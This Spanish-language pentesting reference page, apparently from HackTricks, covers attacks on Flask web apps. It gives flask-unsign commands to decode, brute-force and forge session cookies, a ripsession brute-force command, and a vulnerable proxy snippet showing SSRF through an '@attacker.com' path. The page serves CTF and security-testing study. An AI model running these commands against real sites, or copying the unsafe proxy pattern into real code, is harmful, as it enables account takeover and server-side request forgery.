2.7 KiB
		
	
	
	
	
	
	
	
			
		
		
	
	Flask
{{#include ../../banners/hacktricks-training.md}}
Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con SSTI.
Cookies
El nombre de la sesión de cookie por defecto es session.
Decoder
Decodificador de cookies Flask en línea: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Obtén la primera parte de la cookie hasta el primer punto y decodifícalo en Base64.
echo "ImhlbGxvIg" | base64 -d
La cookie también está firmada usando una contraseña
Flask-Unsign
Herramienta de línea de comandos para obtener, decodificar, forzar y crear cookies de sesión de una aplicación Flask adivinando claves secretas.
{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}
pip3 install flask-unsign
Decodificar Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Fuerza Bruta
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Firma
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Firmado usando versiones antiguas (legacy)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Herramienta de línea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.
{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi en la cookie de sesión de Flask con SQLmap
Este ejemplo utiliza la opción eval de sqlmap para firmar automáticamente las cargas útiles de sqlmap para Flask utilizando un secreto conocido.
Proxy de Flask a SSRF
En este informe se explica cómo Flask permite una solicitud que comienza con el carácter "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
En el siguiente escenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Podría permitir introducir algo como "@attacker.com" para causar un SSRF.
{{#include ../../banners/hacktricks-training.md}}